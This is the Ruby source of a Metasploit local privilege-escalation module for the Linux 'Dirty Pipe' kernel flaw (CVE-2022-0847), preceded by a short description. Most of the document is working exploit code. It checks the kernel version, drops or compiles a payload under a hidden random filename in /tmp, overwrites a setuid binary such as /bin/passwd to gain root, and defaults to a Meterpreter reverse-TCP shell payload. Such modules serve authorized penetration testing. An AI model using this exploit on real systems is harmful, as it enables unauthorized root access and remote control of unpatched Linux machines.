This Metasploit module exploits a vulnerability that has been in the Linux kernel since version 5.8. It allows writing of read only or immutable memory. The vulnerability was fixed in Linux 5.16.11, 5.15.25 and 5.10.102. The module exploits this vulnerability by overwriting a suid binary with the payload, executing it, and then writing the original data back. There are two major limitations of this exploit: the offset cannot be on a page boundary (it needs to write one byte before the offset to add a reference to this page to the pipe), and the write cannot cross a page boundary. This means the payload must be less than the page size (4096 bytes).
3f2fd98c6332195754963513f5d3600f##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Kernel
include Msf::Post::Linux::System
include Msf::Post::Linux::Compile
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Dirty Pipe Local Privilege Escalation via CVE-2022-0847',
'Description' => %q{
This exploit targets a vulnerability in the Linux kernel since 5.8, that allows
writing of read only or immutable memory.
The vulnerability was fixed in Linux 5.16.11, 5.15.25 and 5.10.102.
The module exploits this vulnerability by overwriting a suid binary with the
payload, executing it, and then writing the original data back.
There are two major limitations of this exploit: the offset cannot be on a page
boundary (it needs to write one byte before the offset to add a reference to
this page to the pipe), and the write cannot cross a page boundary.
This means the payload must be less than the page size (4096 bytes).
},
'License' => MSF_LICENSE,
'Author' => [
'Max Kellermann', # Original vulnerability discovery
'timwr', # Metasploit Module
],
'DisclosureDate' => '2022-02-20',
'SessionTypes' => ['shell', 'meterpreter'],
'Platform' => [ 'linux' ],
'Arch' => [
ARCH_X64,
ARCH_X86,
ARCH_ARMLE,
ARCH_AARCH64,
],
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'DefaultOptions' => {
'AppendExit' => true,
'PrependSetresuid' => true,
'PrependSetresgid' => true,
'PrependSetreuid' => true,
'PrependSetuid' => true,
'PrependFork' => true,
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
},
'Privileged' => true,
'References' => [
[ 'CVE', '2022-0847' ],
[ 'URL', 'https://dirtypipe.cm4all.com' ],
[ 'URL', 'https://haxx.in/files/dirtypipez.c' ],
],
'Notes' => {
'AKA' => [ 'Dirty Pipe' ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK ]
}
)
)
register_options([
OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('SUID_BINARY_PATH', [ false, 'The path to a suid binary', '/bin/passwd' ])
])
end
def check
arch = kernel_arch
unless live_compile? || arch.include?('x64') || arch.include?('aarch64') || arch.include?('x86') || arch.include?('armle')
return CheckCode::Safe("System architecture #{arch} is not supported without live compilation")
end
kernel_version = Rex::Version.new kernel_release.split('-').first
if kernel_version < Rex::Version.new('5.8') ||
kernel_version >= Rex::Version.new('5.16.11') ||
(kernel_version >= Rex::Version.new('5.15.25') && kernel_version < Rex::Version.new('5.16')) ||
(kernel_version >= Rex::Version.new('5.10.102') && kernel_version < Rex::Version.new('5.11'))
return CheckCode::Safe("Linux kernel version #{kernel_version} is not vulnerable")
end
CheckCode::Appears("Linux kernel version found: #{kernel_version}")
end
def exp_dir
datastore['WRITABLE_DIR']
end
def exploit
suid_binary_path = datastore['SUID_BINARY_PATH']
fail_with(Failure::BadConfig, 'The suid binary was not found; try setting SUID_BINARY_PATH') if suid_binary_path.nil?
fail_with(Failure::BadConfig, "The #{suid_binary_path} binary setuid bit is not set") unless setuid?(suid_binary_path)
arch = kernel_arch
vprint_status("Detected architecture: #{arch}")
vprint_status("Detected payload arch: #{payload.arch.first}")
unless arch == payload.arch.first
fail_with(Failure::BadConfig, 'Payload/Host architecture mismatch. Please select the proper target architecture')
end
payload_data = generate_payload_exe[1..] # trim the first byte (0x74)
if payload_data.length > 4095
fail_with(Failure::BadConfig, "Payload size #{payload_data.length} is too large (> 4095)")
end
fail_with(Failure::BadConfig, "#{exp_dir} is not writable") unless writable?(exp_dir)
exploit_file = "#{exp_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
if live_compile?
vprint_status('Live compiling exploit on system...')
exploit_c = exploit_data('CVE-2022-0847', 'CVE-2022-0847.c')
exploit_c.sub!(/payload_bytes.*$/, "payload_bytes[#{payload_data.length}] = {#{Rex::Text.to_num(payload_data)}};")
upload_and_compile(exploit_file, exploit_c)
else
vprint_status('Dropping pre-compiled exploit on system...')
exploit_bin = exploit_data('CVE-2022-0847', "CVE-2022-0847-#{arch}")
payload_placeholder_index = exploit_bin.index('PAYLOAD_PLACEHOLDER')
exploit_bin[payload_placeholder_index, payload_data.length] = payload_data
upload_and_chmodx(exploit_file, exploit_bin)
end
register_file_for_cleanup(exploit_file)
overwrite_file_path = datastore['SUID_BINARY_PATH']
cmd = "#{exploit_file} #{overwrite_file_path}"
print_status("Executing exploit '#{cmd}'")
result = cmd_exec(cmd)
vprint_status("Exploit result:\n#{result}")
end
end